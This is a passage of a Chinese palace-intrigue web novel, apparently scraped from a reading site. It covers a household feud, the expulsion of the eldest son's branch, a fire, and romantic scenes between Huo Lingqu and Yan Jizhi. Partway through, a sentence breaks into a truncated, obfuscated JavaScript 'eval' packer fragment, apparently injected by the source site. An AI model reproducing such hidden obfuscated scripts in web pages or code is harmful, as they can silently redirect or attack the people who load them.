饶是有心里准备,霍灵渠都被这乱象闹 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我自知惹怒世子爷更害长房和两位姑奶奶受累,只求能抵了性命给世子消气,我只是个快五十岁的老太婆也没想能再活,随你想怎样诬赖我都行,可姑奶奶和表少爷表姑娘们还要清清白白做人,请流光姨娘你慈悲高抬贵手,莫再随意给主子们泼污名。” “黄泉寂寥,贾侧妃独自入黄泉恐怕孤单。” 霍灵渠握紧蔚然居管事妈妈的手臂,不理这些言语机锋也干脆抛掉准备好的腹稿,懒得再客气,直截了当切向要害:“人有旦夕祸福,狱中囚徒朝不保夕实在太寻常,贾侧妃以为你会有几个弟弟侄儿陪你上路?” 眼前的美人千娇百媚,说出的话却狠辣得叫人胆寒,场面刹那间陷入死寂。 站立众位震惊,跪着的人更是惊恐无比,谁敢相信她会只是吓唬而不需在意?她可是代表晏霁之,晏霁之想让贾家坐牢的几位死还不容易吗?贾侧妃浑身僵住,喘~息~粗重,像被紧紧掐住脖子的鸭子拼命挣扎想逃生却是徒劳。 晏明妧痛苦落泪,自嘲想她真天真,居然到这步才认清楚他们其实只剩被拿捏的份儿,此事已落定根本不可能再有转机。 “大姑奶奶能管住生母,为何就不能留点体面,为何非要闹到撕破最后的脸皮才够?”霍灵渠走上前怒然叱呵:“你们带小辈们跪在这里想做什么?! 这些孩子年幼懵懂,二姑奶奶少不经事,但大姑奶奶你和贾侧妃能不懂各中情由吗,还要蓄众来哭天抢地扮惨卖可怜,是想以弱凌强威胁世子还是不给世子泼尽脏水就不能罢休?你们究竟要无耻到什么地步?” 晏明妧闭眼随她骂,十五六岁的姑娘不忍母亲受这种污蔑,哭泣反驳:“流光姨娘你凭什么说我娘无耻,我承认强占流光小筑是我们的错,可我们就只冒犯了一回而已。 就一回,二舅都不肯宽容,非要赶我们走难道不狠吗?我家和二姨家败落了家境凄惨,强迫我们离开还不是要逼得我们没法活吗?我想留在外祖家求庇护有错吗,求二舅宽容这回有错吗,难道跪着求是错吗,你凭什么说无耻?!” “幼蘅表姑娘已经及笄是大姑娘,你应该很清楚你娘和你大舅为何要强占流光小筑?”霍灵渠自问自答:“是为压倒嫡系,压倒嫡系又为何?是想夺爵位。 世子已定,你娘和大舅他们怎样做才能抢走爵位?如果能如他们所愿,世子什么下场,身败名裂生不如死还是被你娘和舅舅他们害死?” 满脸泪痕的小姑娘滞住,张张唇想辩驳可发现辩不过,急得哭起来。晏明妧脸颊惨白,仿佛突然才想明白晏霁之心中积存的怒恨,她抖如糠筛地将长女抱怀里安慰不哭。 晏明绾心狂跳,她能说她没想过要害嫡兄只是想靠爹爹的疼爱废掉他的世子吗?好像没说服力而且她大哥可能真有想法,想抢爵位抹不掉,那再解释都绕不过要害世子啊。 “是我,是我贪图爵位怂恿大爷和姑奶奶们与世子爷争斗。”贾侧妃摔坐在地,丧如考妣好似浑身的生息已被抽干:“请世子处置我,我甘愿赴死绝无任何怨言,请世子别迁怒大爷和两位姑奶奶还有贾家。” “十数年,这年数有与幼蘅表姑娘的年岁相当吗?” 霍灵渠不接茬,自顾破击他们这场闹事造成的恶劣影响:“只有一回吗?应该加两字,明面只冒犯一回而私底下十多年已经使过数不尽的心机手段,才对。受了重创,争爵位的心却更狂热,你们没想往死里害嫡系岂非天方夜谭吗? 再者什么叫做逼你们没法活?没法活是生命垂危是食不果腹不能维持生计,你们只是离开后不能享晏家的富贵,这也算没法活,那么世间得死几百几千万人?这不是没法活而是贪,知道名声重要为何还肆意胡乱污蔑。 何况是王爷做的决定,世子若能左右你们的去留还能落到被你们逼得险些弃爵位离家吗?是王爷做主,只有王爷才能定夺,你们却偏偏跑到蔚然居来闹,你们是何居心啊?! 多少年处心积虑用尽心机手段挑衅暗害,若非王爷虽然偏心但清楚嫡庶有别,嫡系恐怕早已被你们害得在府里没有立锥之地了吧? 谁苦,谁倒霉,谁惹出来的祸事?!霁之被你们逼得忍无可忍,宁可远走天涯,谁委屈谁在变本加厉咄咄相逼?做尽孽,被王爷管教了,就要装出这副受迫害的可怜样来恶心人,还不够无耻吗?这不是无耻难道是大姑奶奶和贾侧妃单纯无知吗?” 杜幼蘅面红耳赤,感觉她的整张脸也被扒下来踩在地上,晏明妧反而无所谓了,贾侧妃心如死灰:“就请世子爷取走我的性命,如果我的命不够让世子消气,请世子念在孩子们无辜又还小的份上从轻发落大爷,毕竟…毕竟世子好好的并没事啊。” “今日,霁之他忍无可忍也只离家远走,是王爷要挽留。” 霍灵渠望向湛蓝天际,语气淡漠:“我不知将来,但眼下,没人撞过来寻死,霁之也不会想要谁的命,你们痛快些收拾箱笼离开比在蔚然居外哭闹强得多。还有大爷,请三爷四爷去前院请大爷回屋歇息,那么跪着太难看。” 晏琼勋轻咳声就应承,徐侧妃旋即走过去扶贾侧妃站起来、劝姑奶奶们快回屋收拾箱笼,还算顺畅地说动了并亲自陪他们离开蔚然居;晏如瑰和晏琼勋兄弟赶往前院,这场险些损害晏霁之名声的闹事总算结束。 42. 第42章 斜阳低垂,云霞飘红在天际绘画绚丽亦给人间披层碎金外衣,黄昏有种动静相宜的美。 午间英王府的热闹传遍全城传得沸沸扬扬,竟然还真不乏有百姓再过来围观人家搬家;英王府两座石狮前长长马车排列,下人们忙着搬箱抬柜装车,英王妃志得意满地带这批即将离府的眼中钉在前院客堂和俩庶女的婆家人寒暄。 原本她很纠结是否要亲自看他们离府?既想又不想,她总算能扬眉吐气,不亲自赶走这群丧家犬不痛快啊,可她若当真亲自相送就是抬举他们而缀了自己的身份;没想到晏明妧和晏明绾的婆家前后脚过来接人,那她只好招待亲家母顺便再送送。 “瞧我,陪王妃说话高兴差点忘了,咱家下月初要举家迁往杭州定居,我想着过两天来接明绾再向亲家辞行;哪想明绾起兴就要赶着回家,这会儿匆忙相告,亲家可别见怪。” 程老太太笑呵呵抛记响雷令屋中除她儿子以外的众人都愣了,晏明绾不可思议,想质问好歹还有点理智知道不能当面拆婆母的台只能不做声,英王妃奇怪:“这,这怎么突然要迁往杭州定居?亲家公和明绾她相公还在京里呢。” “不妨事,我们迁往杭州安顿好,等他们出狱再来京城接,不妨。”程老太太豁达笑,实则这是她大儿在得知英王府的变故后刚做的决定,目的很明确:与晏明潜划清界限。等过几年事情淡了能和晏霁之再走亲戚是最好,即使不能,他程家也不能再与晏明潜为伍。 晏明绾的相公虽然考科举走仕途,但她嫁的是商贾人家,她公爹和大伯子都是从商。 薛驸马重锤之下,她相公仕途尽毁还得再坐一年牢,公爹被判三年,程家又折损七八成家底保住这大伯子无恙;但瘦死的骆驼比马大,程家锦衣玉食还有的,而且她相公明年就能出狱,因此晏明绾对这场灾祸的心态较于她哥哥姐姐其实要好。 比起程老太太还能有亲生的儿子陪着,杜老太太身侧只有个庶子,她也只剩这庶子因为还在读书得以保全,她丈夫和亲生儿子们都得坐牢五年以上,杜家是真的败落了。 若非程家要来英王府接人,她被迫赶鸭上架,杜老太太根本无意,听出程家的意图,她当即决定:“看我也差点忘了告诉王妃,我们家也要举家搬迁,迁往老妇娘家定居。回我娘家也容易给幼蘅相看定亲,明年幼蘅出嫁,王妃和程家妹妹可要来喝喜酒啊。” 晏明妧大惊:“娘,您说什么?” “幼蘅都是能出嫁的大姑娘了,你这做娘的还咋咋呼呼像什么样?”杜老太太教训道:“难道回我娘家还辱没你了吗?你要是看不中我这个小县城出来的婆母不想走,你就留下,尽管改嫁,老妇我只带幼蘅他们姐弟们走。” 氛围陡变,英王妃幸灾乐祸憋笑,程家母子作壁上观,杜幼蘅有些害怕地握紧她姨母,晏明绾咽咽口水隐约意识到长姐和她的婆母好像不是来接她们那么简单。 “娘您说什么话呀,媳妇、媳妇只是太过惊讶。”晏明妧捏捏手掌心硬迫自己低头:“怪媳妇没和您通气,我已经请我爹帮忙给幼蘅相看,我爹见的世面广结交的友人也多,我想还是让我爹给外孙女相看对幼蘅最好。” “明妧,你都多大了,怎么还一点不懂事,你爹娘没言语可你自己总得明白,给娘家添这么多麻烦还不知收敛吗?”杜老太太一点不留情面地发泄:“什么是对幼蘅最好?安稳!有什么能比让幼蘅安稳过一生强,你莫非还想糟践亲闺女去给你挣富贵吗?” “娘?!”晏明妧急得弯膝跪下来,程老太太连忙含笑帮忙打圆场,英王妃亦装模作样附和顺便配合着杜老太太掐断这不安分的庶女想靠嫁女儿再攀高枝的妄想。 晏明妧苦涩憋住眼泪,晏明潜紧握拳头,他再看不出程家和杜家唱什么戏就是傻瓜了,这是想背弃他还想生生掐断他和同母姐妹的往来从而给晏霁之示好呢! 婢女进屋禀告所有箱笼都已装好,英王妃满意地带一同陪客的晏如瑰送他们出府。 晏明潜给程大爷使眼色留在最后走,和走在前的人拉开距离后朝他恭维:“商人重利,你也不需这么迫不及待吧,你就这么确定我没有再翻身的机会了吗?” “你当然有。”程大爷笑笑讥讽:“祸事因你而起,贾杜裴程徐总共五家人被你祸及,可到头来我们五家人皆遭牢狱灾,唯独明潜兄你安然无恙前程可期;明潜兄有这么大的本事,荣华富贵当然还在后头。” 语毕,程大爷不再理会抬脚往前走,晏明潜恨恨地一拳砸向就近的廊柱。 薄暮斜阳暗,几缕哀戚灌进深红天际射出朦胧的光线打在英王府的富贵朱门落成圈晦涩,每个人的身影都被拉长,瘦长黑影交错相叠仿佛印落在青石板上的网。 府门前已站满,晏明潜有三儿两女六名妾室;他分家离府,身契握住他们手中的王府奴婢都能带走;算上两位姑奶奶那边的人员,乌压压站成片合成堆能有百八十人。 两位老太太很是利索,向英王妃告辞过了就带各自的儿媳妇孙辈们坐马车打道回府,晏明绾姐妹俩有心想和生母细谈谈也没抗住各自婆母的压力。 贾侧妃没资格在厅堂作陪,知晓程家和杜家的打算当即急了,姑奶奶和表少爷表姑娘们全部离开京城还得了吗?瞧着裴氏像没事人似的带她生的仨儿女登马车,她顾不得,找到大爷就避去角落商量,姑奶奶他们可不能走啊。 英王妃洋洋得意用胜利姿态鄙夷斜视贾侧妃在暗中垂死挣扎,眼前突然冒出表侄女的脸,差点被吓到:“咳咳,曼媛你哭什么,还哭成这样?” 钟姨娘双眼红肿噙满泪泡,她怀胎四个多月已经显怀,隆起的小腹配以悲苦的神情让她显得尤为可怜:“姑母,我这就要走了,今后我不在您身边——” “王妃当然会安享荣华,王妃还能没有钟姨娘你就不能活了吗?”晏琼勋出府来瞧情况,撞见这幕真是无语:“爹给大哥分家,大哥今后当家作主,怎么也不算坏事,钟姨娘你搞得自己像哭丧,不妥吧?不知道的还以为我大哥死了。” “四爷胡扯什么,我只是不舍姑母,你怎么能随意睁眼说瞎话造谣诬赖?”钟姨娘委屈而愤怒对呛,晏琼勋还能怕她吗?可刚反嘲就被嫡母拦截,英王妃自然偏向自己的表侄女,不想正要管教庶子就被她表弟疾声粗气介入。 “表姐、曼媛,你们、你们这是怎么回事?!” 钟员外郎午后听到消息就焦灼起来,这表姐是疯了吗,多大点事,怎么能闹成这样?!英王给晏明潜分家那钟家还能从英王府得到什么助力? 他兄长做生意行可读书实在没天赋,弟弟纨绔嫌读书辛苦根本不愿意,钟家目前只有他走仕途;然而他自授康二十年考中进士到如今,将近十三年,他也年近四十岁,还有佟家提携呢他都只是个从六品的户部员外郎! 不说晏明潜被罢官前在二十八岁就升到正五品,他姑父佟尚书的两个庶子,一个三十岁已是亳州正六品通判,另个年仅二十五岁也已是从六品,可他呢?! 初入仕的豪情早被打击得只剩郁郁不得志的憋闷,佟家没多少指望,霍家还没纳钟家的姑娘也没什么希望,他只能指望英王,竟也这么断掉了? 一下衙门就急急赶过来,钟员外郎再也忍不了:“流光小筑被占就让霁之给他的宠妾另外挑座院住嘛,这算多大点事,怎么就能闹得兄弟失和要让王爷给明潜分家?” “你是在说我爹昏聩还是我二哥狠辣?”晏琼勋抓到机会立即反击:“王妃,你这表弟、钟姨娘这叔叔官虽然小,官威可真大,跑我们家来颠倒黑白指手画脚;一个拐角亲戚都敢来咱家撒野,当我们家什么地方?王妃你放心,我这就进府去禀告爹。” 英王妃憋屈:“勋哥儿你误会了,王爷在书房忙,我们就别打扰王爷了。” “行吧。”晏琼勋见好就收:“但王妃您看天快黑了,您还是让钟姨娘快点坐马车走吧,您看我大哥大嫂和整个车队都耗着就为等她向您慢悠悠地无病呻吟,像话吗?” 钟姨娘憋愤捏紧秀拳,英王妃顺着台阶下,好歹她都不想真拖拖拉拉到天黑以后被长房闹着要再住晚甚至想又要赖着不走了。 晏明潜沉默上前,向嫡母和两个弟弟辞过行就带钟姨娘坐马车启程,带着他分家后的户籍、他的生母和妻妾儿女还有下人们离开,离开他生活了三十一年又五个月的地方,离开曾经许多年他都认为会终老之地,离开这个让他梦碎的地方。 马车渐渐驶远,他忍不住掀起车窗帘回望,看到一片火光冲天,是流光小筑烧起来了?呵,原来搬起石头会砸死的只是他自己。 留在府前的众位也注意到了,晏琼勋和晏如瑰仰头看两眼就向嫡母告退进府去,英王妃不好再滞留和表弟说话,让他快些回自家休息便也带奴婢们进府。 钟员外郎愤愤不甘地转道去佟家,他就不信那姑母能甘心侄孙女被赶出英王府? 府内已掌灯,星星点点的灯火在晦暗中筑起片明亮,晏琼勋踏过照明的烛火走回后院,向生母报备长房已经离开的好消息,说完发现他生母并无喜色,怪道:“姨娘你病了?” “没,姨娘只是没想到长房竟然真被拔掉了,以前想都不敢想,有点感慨。” 徐侧妃盼除掉长房十多年了,终于盼到却高兴不起来反而有些胆寒,王爷疼爱晏明潜姐弟那么多年特别是晏明潜,她用尽手段也没能让她的四爷五爷越过去,竟然也这么被舍掉了,连这最疼爱的儿子跪在书房外半个时辰都没出来见一面。 王爷真的是说舍就能舍啊,因为世子爷;其实世子是王爷的根,可以不疼爱但不能没有,而庶出再疼爱也能在触怒世子时舍掉,她的四爷五爷也根本没半点机会。 “我也有点恍惚,好像做梦,但真的就是真的。”晏琼勋高兴道:“我们现在就差给四妹争到贵妃位然后让贵妃娘娘向陛下求求情宽恕姨娘你爹和兄长,咱就算半圆满了。” 不像晏明妧姐弟按外家的辈分称呼贾家人,徐侧妃不在意这虚名就从未让她生的两位爷和四姑娘逾越过,府里一众庶出的外祖和舅舅们都随世子在佟家呢,何必自欺? “悬,只怕很悬,王爷没心情,世子没心思,薛家又必定会阻拦,而四姑娘生母的父亲和兄长都在坐牢,贵妃娘娘哪还能轮到她?”徐侧妃是商户女出身,兄长考科举走仕途,爹和弟弟们打理家中生意,哥哥勤勤恳恳近十九年才终于升到正五品都察院都事啊。 因为她,就因为她一念之差想以卵击石,卷进这种她根本不能碰的漩涡,她哥哥前途尽毁还要坐六年牢,徐家舍掉大半家业也保不住她爹免掉牢狱,她爹也得坐一年牢。 是她…是她害父亲和兄长蹲大牢,是她折损徐家几十年积攒的家底,是她害侄儿们仕途无望,是她可笑得以为他们能和皇亲国戚较量,是她把徐家毁了。 “还没走到最后步,姨娘你别丧气。”晏琼勋见不得生母黯然神伤颓丧消沉,徐侧妃挤挤笑意宽慰:“姨娘知道,必会再争取;但长房毕竟刚走,王爷心情差,姨娘会见机行事,四爷可千万别拿这事去叨扰王爷。不早了,四爷回院里陪四奶奶用晚膳吧。” 要尽孝该伺候嫡母用膳,自七岁后他能和生母用顿膳食是很奢侈的事,晏琼勋对此习惯得很没啥在意,再安慰生母几句就离开,回他和他媳妇的院子。 未久,漆黑卷尽天幕,熊熊燃烧的大火照亮半边天,冲天火势又像是从天际裂出条缝隙渗漏细微火苗掉下并聚汇成猛烈火球砸落人间形成能灭尽花团锦簇的烈焰,让火势周遭的一切都显得那么渺小,也给英王府今日的骤变震慑收尾。 仿佛烧掉的不仅仅是流光小筑还有庶出膨胀的野心妄想,烈火燃起,世子再不容挑衅。 霍灵渠再从隔壁过来察看,火势仍烧得旺,她遥望眼前这场大火不知不觉生出恍惚,想起她人生中的两场大火,都在她的生命中搅得天翻地覆改变她的人生轨迹。 这是第三场,似乎对她没甚影响偏偏令她心中有点空,好像烧掉的不只是流光小筑还有她赖以在英王府生活的流光姨娘身份,又有巨变在冥冥中在她没有准备好之际降临了。 烈火燃尽,流光小筑成废墟,霍灵渠自婢女手中接过灯笼上前,寻觅残存的熟悉;茜红裙摆划过布满脏污的青石板和烧成焦炭的雕栏梁柱,携走一层层愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏霁之心里骂她小小年纪就不知羞,把他表姐都给带坏了,仍然不予理会。 霍灵渠出杀手锏:“我听说王爷整个下午都把自己关在书房里连午膳和晚膳都没用,你又不肯去给你爹示个软哄他开心,我只好让婢女以世子爷的名义给王爷送食盒。 我特意斟酌过要清淡简单,就备了蒜蓉白菜粉丝、鸡丝鲜笋、豆腐羹和一碗米饭。你要是没有意见那我就继续代你向你爹表示孝心了,我想王爷多少会有点安慰。” 晏霁之憋屈地和这女人说话:“是贵妃娘娘舍不得即将到手的锦绣前程飞了吧?” 两人对峙几息时间,霍灵渠冷脸:“你既这般想,别再碰我了。”语毕,她转过身抱起叠整齐摆在床最里侧的锦被铺被窝,铺好就躺进被窝里睡觉。 晏霁之那叫个郁闷啊,可再郁闷也只能退让:“难道我愿意你进宫吗?” “你有何不情愿?”霍灵渠脾气好,没和他冷战:“舍掉个妾室换取皇帝晋升你为正三品吏部侍郎,这可是连升四级令你少拼搏十多年,你能有何不情愿?” “我们即刻怀个胎,你肯吗?”晏霁之生气反呛,霍灵渠:“……”她意兴阑珊:“拿怀胎来扯幌就过了,你能有何不情愿的,难道是你对我有情吗?” “我会愿意今后夜夜孤枕难眠吗?”在女人奇异而不可思议的眼神中,晏霁之坦诚:“你是我第一个女人,至今唯一的女人。” 霍灵渠惊诧坐起,难以置信地质疑:“怎会?你是十七八岁时遭暗害患上隐疾,可你在此前难道会没有通房吗?我大哥十五岁就有通房了,多数人家不是都会在少爷们小成年礼前一年半载就给安排通房好让哥儿通晓人事吗?” “会恶心,如此亲密之事,只图纾解就放浪形骸,我会作呕。”晏霁之逼视她的眼睛问:“换作你,你若是再陪第二个男人行房事不会恶心吗?” 这招效用对霍灵渠绝对是绝杀,她低头苦笑,晏霁之放掉书卷将女人拥入怀,感叹道:“挑剔也好算病态也罢,我不想对自己敷衍。 我想娶能彼此倾慕之人为妻,否则祖父病重时会娶妻冲喜的孙儿就是我而非堂弟煦之。如果到而立之年都找不到,我就娶个能合我要求的女人相敬如宾。但无论娶谁,我都从未想过碰妻子以外的女人。”他轻咳声着重声明:“你是隐疾造成的意外。 大夫治愈后我心里没底,我只能和你验证番;再往后,你我既已有夫妻之实,我会宿在你屋里是顺理成章的事,我甚至想过找不到倾心的女人就将你扶正,我们携手终老。我还不知道你走以后我的日子要怎么过,我能愿意让你离开我吗?!” 霍灵渠没把扶正这些话放心上,忧心忡忡问:“会有侥幸吗?小公主可怜,但也没人想过他会赐死珍修仪,他还能允我的请求吗? “明早,我进宫去问个答案。”话虽如此,晏霁之是没有侥幸的,从未想过能有侥幸,今天唯一能摆脱的机会都被她亲自破坏了,还能有什么侥幸? 霍灵渠低低应声好,劝他夜深了早些歇息,然后就被男人抱着赴巫山云雨至痴缠整夜,天光大亮时他俩还相拥睡得香,晏霁之午时前就没出房门。 原定想法只得往后推延一日,二月十九清晨,晏霁之先往工部衙门点卯再去皇城。 “朕以为晏卿是聪明人。”聪明人就不该做蠢事,嬴忱璧一身帝王常服,既无龙袍助威也没动怒的兆头,神情语气淡淡的却反而有种暴风雨前的平静。 “灵渠害怕想再争取,她不能进宫只能托我帮忙,臣受她之托自当忠她之事,还请陛下给个答案也好让臣给她个回复。” “那么你转告贵妃,朕会永远对她好。”嬴忱璧道:“还有件事,朕一直以为不需朕额外提点,晏卿就能明白,可惜朕失望了,你是真的想让朕提点你吗?” 晏霁之笑:“陛下言重,您还没有册封贵妃娘娘,宫里既没有霍贵妃,臣怎会有本事睡在贵妃的香闺?至于臣自己的闺帏中事,不敢劳陛下过问。” 正徽帝嬴忱璧深邃而略带阴沉的目光注视他,晏霁之回眸对视,对皇帝不卑不亢。 43. 第43章 “明日休沐,皇帝会微服前往城外大相国寺礼佛听禅,你带着婢女也去走趟,我会安排让马车车轴在半途中断裂,你偶遇皇帝,皇帝会亲自送流光姨娘回城。册封贵妃后,这场不期而遇就是霍贵妃和皇帝再续前缘的对外说辞。” 轻纱缭绕的寝屋里迎着琉璃盏烛火泛起烟笼寒纱的朦胧忧愁,帐幔倒映床帏中的相拥身影落就点点暧昧。霍灵渠丝绸般的青丝垂在腰际,一袭真丝粉红寝衣躺靠在男人怀里,闻言她沉默许久问:“他大权在握以后我还有可能离宫吗?” “会,坚持努力就有可能。”晏霁之低头亲亲她。 “你倒会拿童年我安慰你表姐的话来安慰我。”霍灵渠笑笑,抬手捧他的脸轻抚相劝:“已经两天半了,你还没和你爹见过面,这般僵持着对你不好,既然明日休沐你们都在家,你就去给你爹请个安说些软和话。” 晏霁之拉过女人的柔荑,抱她拥吻,热吻毕,他再边亲她的唇边道:“佟家递了帖子来,明日我要陪王妃去佟家。” “你故意的?”霍灵渠斥他,他回绝掉外祖家的相邀还少过吗? “我与王爷各自多冷静些时日更妥当,冷静到王爷能迈过这个心结。我这位父亲要狠心的时候绝对能够狠,等他缓过劲儿,甭管曾经多么疼爱,既然已经舍掉了,他今后绝不会再管晏明潜,说舍就真的彻底舍掉。” “能有多狠,还能不管大爷死活吗?”霍灵渠怀疑,晏霁之给予肯定:“当然。” 霍灵渠不大相信,晏霁之告诉她个秘密:“你要逼迫英王做决断,我就清楚结果了,不是他真那么清醒而是祖父生前召集族人们定下的规矩。 英王的爵位和晏家的族长位绝不能传给庶出,庶出记在嫡母名下也没资格;若是我难以担起家族重任,要么请他过继侄儿,要么请他上疏请朝廷收回爵位再由家族推举位新家主,晏墉这脉自他始从嫡系变成旁支。” 他哼哼乐着骂:“就是祖父在防他偏宠庶出至头昏脑涨想废掉我传给他疼爱的庶长子,当时祖父把规矩讲出来,他脸色别提多难看了。” 霍灵渠讶异:“是已故的老王爷硬定下的规矩?” “当然,晏墉他能自愿,平常对待嫡庶还能那么偏颇吗?但有一点,只要他缓解心结,他就能毫无芥蒂像没事人似的和我相处。”晏霁之喟叹:“我这老爹他是真能完全抛掉,根本不会再把这件事放心上。” 能有这种可能吗?霍灵渠不信但也没和他争辩,劝他早点安置,晏霁之抱着美人哀怨:“没跟你挑明前我还能假装,可现在我都不敢想你离开以后我该怎么过呀?” “我还不知道进宫以后要怎么熬呢,你还能过得比我坏吗?” 翌日清晨,明媚的阳光穿过窗牗将奢华典雅的寝卧照耀得焕彩生辉,霍灵渠身着冰蓝雪缎长裙配水蓝丝带束腰,乌黑的青丝绾做抛家髻,仅在发髻间戴支白玉簪;她刚梳妆完毕,晏霁之走出屏风,发梢滴淌着水珠沾湿了中衣,浑身洋溢风流。 “你是没看见皇帝威胁我要对贵妃娘娘退避三舍时的吓人模样,幸亏偶遇安排在午后,否则被他瞧见娘娘您这娇媚的小脸蛋,没准儿他生吞我的心都有了。” 霍灵渠当没听见,拿巾帕再给他擦擦,晏霁之颇觉遗憾:“今晚再陪我泡澡?” 他们偶尔会洗鸳鸯浴,霍灵渠没甚矫情害羞,今早是他闹得不像样,她真生气了,不再理会就任由这男人独自慢慢泡花瓣澡吧。 仍然只当做没听到,给他擦干头发,霍灵渠从衣柜中再取身中衣让他自己换,而后拿套镶银丝绣的天蓝色锦袍和与之相搭的腰带配饰照顾他穿戴,把男人拾掇得衣冠楚楚之后带他去用早膳,岚瑟居的婢女都来催过两回了。 早膳摆在暖阁,两盅血燕,两碗热腾腾的碧粳粥,鲍鱼蒸蛋,清汤小馄饨,炸得金黄酥脆的奶糕卷、一碟奶黄包和一碟煎香虾饺锅贴,另有六碟各式配菜。 他俩刚落座,绿岫跨进门槛禀告:岚瑟居派人来请世子过去,王妃准备好要出门了。 辰时正就派婢女过来催,现在辰时中,半个时辰催三遍,霍灵渠叹息声让绿岫且退下,晏霁之旋即不耐烦摔筷:“还以为王妃嫁进晏家二十多年来没回过娘家呢。” 霍灵渠招呼小丫鬟换双干净的新筷,劝他:“用膳吧,别为这些许小事影响食欲了。” 晏霁之平复下端起白瓷盅喝血燕,按平常的速度慢条斯理进膳,待他们俩用过早膳,奴婢们撤掉碗碟,他再派个婢女去岚瑟居问问王妃还在府里吗? 派出的小丫鬟问到情况就跑回蔚然居禀告:两刻钟前王妃已经出府,出门前在生气。 “既然答应过陪王妃去佟家,你还是主动走趟,总让表弟来叫你也不好。”霍灵渠伸手给他理理衣襟,晏霁之将人抱满怀,吻她水润娇嫩的红唇:“真想我们今天都不出门了。” 霍灵渠何尝愿意面对强加给她的安排?可她不能逃就只能认,将苦涩压在心底,拿丝帕给晏霁之擦掉沾染的口脂,她整整衣裙后往外走,出府前往大相国寺。 失误过竟然又大意,晏霁之郁闷想,怎么又忘记应该提前给这女人擦口脂呢,唉。 日头高照,湖岸边碧草如丝,葱嫩的柳条惬意舒展,浅红蓝紫的小野花悄悄掩在草丛中,柳梢头黄莺高展歌喉,美妙歌声直上白云巅;蔚蓝天空下,生命蓬勃鲜活。 晏霁之在湖边凉亭里作画,时间掐得刚好,他完成这副碧波垂柳图,霍振羽堵到他面前:“大姨说你昨天答应好的还几番拖延分明是故意拿乔,一直在生气。 上回你去外祖家还是外祖母六十大寿,这都大半年了;今年新春佳节你没往佟家拜年,外人看来尚且冷淡,只当为面子情,表哥你既答应了就去外祖家吃顿午膳。” “辰时正刻就派丫鬟来催,谁家出门做客那么早,她究竟是去做客还是想去上坟?” “大姨母向来很热衷回娘家,比今早更早的都不知有过几回。”上坟这种话只能忽略,霍振羽劝道:“这种碎屑小事再计较那日子还能过吗?表哥你既答应了,就去趟吧。” 凉亭里还有长随箫生和两名婢女候立在侧,晏霁之倒杯酒喝,吩咐箫生去备马车,他放下酒杯随意问句:“你岳家对你还如五六岁稚童般勤跑外祖家倒是没意见?” “外祖母和小姨私下都在编排我岳家是绣花枕头了,还能有什么意见?”霍振羽自嘲:“我挑媳妇时只顾人家是宗亲没成想是没落宗亲,不能给姻亲帮助还得要姻亲提携。” 表兄弟并肩而行,晏霁之随手划拨开垂在眼前的柳条,闲聊道:“没落二字过了,你岳父虽不理事,你岳母到底还撑得住门楣,你妻弟读书也上进。真说没落宗亲还得属愗郡王府,说来穆国公怎么会给疼爱的庶女挑这么门亲事?” “肯定是娉姨娘相中,就挑来提亲的人家中最高门第那家。还没十年,那堂姐两份嫁妆都被败光填没了,偏偏她自己还不在意,真想让娘家养她到老吗?” “两份嫁妆?” “前些年大伯给补过,今年正月里又给补过,这都第三份了。”霍振羽没来由烦躁:“根本是在拿我们霍家填他们懋郡王府的窟窿,可那堂姐盯着管家权一门心思扎进去,大伯母和嫂嫂们劝她还反遭怨怼,她就真的看不懂愗郡王府在拿她和霍家当冤大头吗?” “填多少了?”你至于这般推己及人感同身受吗? “五六万两白银肯定有的。”霍振羽气恼,晏霁之腹诽:难怪穆国公不在意,不过:“以后应该没这种好事了,穆国公还能真被姻亲家白白当肥羊宰吗?他是狼可不是羊。” “真断掉,别说愗郡王府不愿意,只怕二堂姐和娉姨娘能主动搅得霍家天天鸡犬不宁。”反正霍振羽就觉得最近烦透了:“结亲不是结两姓之好吗?为何能有那么多阴谋诡计,扯着姻亲的幌子百般算计,他们就不觉得无耻吗?” “你可以拿你的道理和佟家人聊聊。”话落,晏霁之淡定地跨出家门。 霍振羽憋气握握拳头,跟着要坐马车然后就被表哥赶了出来,让他怎么来的怎么去,顿时郁闷至极,差点想走掉改回自家,愤愤伸腿踹两脚这破马车再去牵马。 两座府邸相距不远不近,行过人潮涌动的闹市街头,来到佟府大门外,晏霁之走出车厢,看见佟府门前只有门房,再看向霍振羽;霍振羽许多年前就没有来外祖家是做客的自觉了,他没觉得有何不妥,很自然地带表哥进府。 “你在佟家不拿自己当客何苦还要姓霍?” 霍振羽刹住脚步,转向表兄,晏霁之嗤笑:“佟府连派个管家在府外相迎都不曾,是待客之道吗?你认为这是外祖家没拿你当外人,可你姓霍,于佟家到底是两姓人家,你既还要做佟府自家人就没向礼部尚书请教过一肩担两姓氏会多辛苦吗?” “我……我……”没有第三个人,霍振羽脸也有些火辣辣的:“很多年前就是这样了,可能几年前也可能十几年前,我和娘来佟家都是自己直接进府,两位姨母也是。” 晏霁之再问:“这是去何处,你想带我去哪里?” “去见外祖母,外祖母和大姨母她们都等着表哥你。”霍振羽声音渐弱,可也没错啊。 “你想过自己几岁了吗?你真晓得你已经做爹了吗,或者说你还当自己是男人吗?混在妻妾当中还能算你风流,整日挤在老母姨母舅母外祖母这群女人中算什么,你还没断奶吗?”晏霁之怒然甩袖:“随我去找佟尚书!” 霍振羽下意识低低头才应声,被训成蔫鸡也没敢反驳。 佟尚书在他的书房,小厮禀告两位表少爷求见在他的意料中,大外孙来趟外祖家可不会被表弟牵着往后院凑去给外祖母和舅母请安,必会找他。 “让两位表少爷进来吧。” 下刻表兄弟俩跨入书房门槛,霍振羽下意识拱手作揖要给外祖父请安时收到个眼神,没有任何意味就是很平淡看了眼偏偏叫他浑身不自在,只好收手,随表哥样喊声外祖,再向在座的两位舅舅以及表兄问好。 佟二老爷和佟三老爷在地方上做官,自然没在场,但晏霁之把对舅舅们问好都给省了。 “晏霁之,你还有点礼数吗?”说话之人二十岁出头,面容白皙棱角分明,鼻梁秀挺,一身绣浅蓝花纹的杭白直裰给他添了几丝潇洒,乃佟家长孙佟卓伦。 “总比你没考中状元就将富状元排挤出京强。” 